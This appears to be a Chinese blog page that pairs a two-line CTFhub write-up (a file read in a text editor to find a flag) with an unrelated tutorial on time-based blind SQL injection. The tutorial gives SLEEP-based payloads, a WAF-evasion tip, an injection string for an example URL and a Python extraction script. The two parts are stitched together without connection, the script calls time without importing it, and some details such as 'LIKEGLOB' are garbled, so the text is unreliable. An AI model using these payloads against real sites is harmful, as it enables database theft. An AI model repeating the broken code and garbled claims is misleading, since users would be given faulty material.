CTFhub----你猜我是个啥

开启环境,下载附件。

解压的时候发现:

既然不是压缩文件,那就用记事本打开看看

 

最后面有flag。 

### 时间盲注 SQL 注入攻防实现方式 时间盲注是一种基于布尔盲注的扩展形式,攻击者通过向数据库发送特定查询并观察响应时间来推断数据的存在与否。其核心在于利用 `SLEEP()` 或类似的函数让数据库延迟返回结果。 #### 原理概述 时间盲注的核心原理是通过构造特殊的 SQL 查询语句,使目标数据库在满足某些条件时执行延时操作。如果延时发生,则说明条件成立;反之则不成立。这种方式可以逐位提取出数据库中的敏感信息[^1]。 #### 实现方式 以下是时间盲注的具体实现过程: 1. **构造延时逻辑** 使用 `IF` 函数或者直接调用 `SLEEP()` 来控制数据库的行为。例如,在 MySQL 中可以通过以下语法触发延时: ```sql IF(条件, SLEEP(秒数), NULL); ``` 2. **判断字符是否存在** 利用 ASCII 编码逐一测字段的内容。假设要解用户名的第一个字母是否为 'a',可构造如下 payload: ```sql AND (SELECT CASE WHEN SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0), 1, 1)='a' THEN SLEEP(5) ELSE NULL END)=NULL; ``` 如果服务器响应超过设定的时间阈值(如 5 秒),则表示条件成立;否则失败。 3. **二分法优化效率** 虽然暴力枚举可行,但通常采用二分查找提高速度。比如先测试中间值 `'m'` 是否小于等于实际字符,再逐步缩小范围直到定位到确切字节。 4. **绕过 WAF 防护机制** 当存在 Web 应用防火墙或其他安全措施干扰正常注入流程时,可能需要调整请求格式或替换关键字规避检测。例如改写 `SLEEP` 成其他等效表达式,像 PostgreSQL 的 `pg_sleep()`, SQLite 的 `LIKEGLOB`. #### CTF 解题思路实例 假设有这样一个 URL 参数易受攻击: `http://example.com/vuln?id=1` 尝试提交下面的数据包验证漏洞是否存在以及如何获取隐藏表名长度: ```bash id=1' AND IF((LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1))>8,SLEEP(5),NULL)--+ ``` 成功后继续分解每一位置上的具体数值直至拼凑完整字符串为止。 --- ### 示例代码片段 这里给出一段 Python 自动化脚本用于辅助完成上述任务: ```python import requests from string import printable url = "http://example.com/vuln" true_condition_time = 5 # 设定超时时长作为区分标志 result = "" for i in range(1, 20): # 尝试读取前二十个字符 found_char = False for char in printable[:-6]: # 只考虑可见ASCII集内的成员 payload = f"' OR IF(SUBSTR((SELECT version()),{i},1)='{char}',SLEEP({true_condition_time}),null)-- " start_time = time.time() res = requests.get(url, params={"id":payload}) elapsed_time = time.time()-start_time if elapsed_time >= true_condition_time: result += char print(f"[+] Found character {char} at position {i}") break print("[*] Final extracted value:", repr(result)) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值